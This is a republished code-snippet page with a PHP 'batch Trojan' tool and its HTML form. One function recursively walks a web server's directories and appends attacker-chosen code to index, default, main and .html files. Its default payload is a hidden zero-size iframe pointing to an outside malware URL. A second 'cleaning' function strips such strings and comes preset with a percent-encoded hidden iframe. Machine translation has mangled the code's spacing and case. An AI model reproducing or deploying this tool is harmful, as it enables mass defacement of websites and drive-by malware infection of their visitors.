Batch Trojan and batch Trojan code in php

Source: Internet
Author: User
Tags ereg

Copy codeThe Code is as follows:
<? Php
Function gmfun ($ path = ".")
{
$ D = @ dir ($ path );
While (false! ==( $ V = $ d-> read ())){
If ($ v = "." | $ v = "..") continue;
$ File = $ d-> path. "/". $ v;
If (@ is_dir ($ file )){
Gmfun ($ file );
} Else {
If (@ ereg (stripslashes ($ _ POST ["key"]), $ file )){
$ Mm = stripcslashes (trim ($ _ POST [mm]);
$ Handle = @ fopen ("$ file", "");
@ Fwrite ($ handle, "$ mm ");
@ Fclose ($ handle );
Echo "Trojan file: $ file \ n <br> ";

}
}
}
$ D-> close ();
Echo "";
}
Function qmfun ($ path = ".")
{
$ D = @ dir ($ path );
While (false! ==( $ V = $ d-> read ())){
If ($ v = "." | $ v = "..") continue;
$ File = $ d-> path. "/". $ v;
If (@ is_dir ($ file )){
Qmfun ($ file );
} Else {
If (@ ereg (stripslashes ($ _ POST ["key"]), $ file )){
$ Mm = stripcslashes (trim ($ _ POST [mm]);
$ Handle = fopen ("$ file", "rb ");
$ Oldcontent = fread ($ handle, filesize ($ file ));
Fclose ($ handle );
$ Newcontent = str_replace ($ mm, ", $ oldcontent );
$ Fw = fopen ("$ file", "wb ");
Fwrite ($ fw, $ newcontent, strlen ($ newcontent ));
Fclose ($ fw );
Echo "deleted files: $ file \ n <br> ";

}
}
}
$ D-> close ();
Echo "";
}

If ($ _ GET ['action'] = 'GM '){
Set_time_limit (0 );
Gmfun ($ _ POST ["dir"]);
}
If ($ _ GET ['action'] = 'qm '){
Set_time_limit (0 );
Qmfun ($ _ POST ["dir"]);
}
?>
<Title> batch trojan programs for php </title> <body>
<Form action = "<? $ PHP_SELF?>? Action = gm "method =" post ">
<Table border = "0" align = "center" cellpadding = "0" cellspacing = "0">
<Tr>
<Td height = "25" colspan = "2" bgcolor = "006699"> <div align = "center"> <font color = "#00FF00" size = "4"> php version of batch website trojan programs
BY n3tl04d </font> </div>
<Td> </tr>
<Tr>
<Td height = "27" bgcolor = "# CCCCCC"> path: </td>
<Td height = "27" bgcolor = "# CCCCCC"> <input name = "dir" type = "text" value = "."> (you can enter a relative path)
<Td> </tr>
<Tr>
<Td height = "27" bgcolor = "# CCCCCC"> Trojan keywords: </td>
<Td height = "27" bgcolor = "# CCCCCC"> <input name = "key" type = "text" value = 'index \. | default \. | main \. | \. html '> -- Regular Expression match --
<Td colspan = "2" height = "1"> </td>
<Td> </tr>
<Tr>
<Td height = "25" bgcolor = "# CCCCCC"> Trojan code to be written: </td>
<Td height = "25" bgcolor = "# CCCCCC"> <input name = "mm" type = "text" size = "50" value = '<iframe src = http://982.9966.org/b073399/b07.htm width = 0 height = 0 frameborder = 0> </iframe> '>
<Td> </tr>
<Tr>
<Td height = "25" colspan = "2" bgcolor = "006699"> <div align = "center">
<Input type = "submit" name = "Submit" value = "submit">

<Input type = "reset" name = "Submit2" value = "reset">
</Div> </td>
<Td> </tr>
</Table>
</Form>
<Form action = "<? $ PHP_SELF?>? Action = qm "method =" post ">
<Table border = "0" align = "center" cellpadding = "0" cellspacing = "0">
<Tr>
<Td height = "25" colspan = "2" bgcolor = "006699"> <div align = "center"> <font color = "#00FF00" size = "4"> batch cleaning tool php version
BY following the wind (LST) </font> </div>
<Td> </tr>
<Tr>
<Td height = "27" bgcolor = "# CCCCCC"> path: </td>
<Td height = "27" bgcolor = "# CCCCCC"> <input name = "dir" type = "text" value = "."> (you can enter a relative path)
<Td> </tr>
<Tr>
<Td height = "27" bgcolor = "# CCCCCC"> Keyword: </td>
<Td height = "27" bgcolor = "# CCCCCC"> <input name = "key" type = "text" value = 'index \. | default \. | main \. | \. html '> -- Regular Expression match --
<Td colspan = "2" height = "1"> </td>
<Td> </tr>
<Tr>
<Td height = "25" bgcolor = "# CCCCCC"> Trojan code to be cleared: </td>
<Td height = "25" bgcolor = "# CCCCCC"> <input name = "mm" type = "text" size = "50" value = '<iframe src = http: // % 31% 73% 61% 6e % 69% 32% 6b % 6d % 2e % 63% 6e/6a%6a%32.htm width = 50 height = 0 frameborder = 0> </iframe> '>
<Td> </tr>
<Tr>
<Td height = "25" colspan = "2" bgcolor = "006699"> <div align = "center">
<Input type = "submit" name = "Submit" value = "submit">

<Input type = "reset" name = "Submit2" value = "reset">
</Div> </td>
<Td> </tr>
</Table>
</Form>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.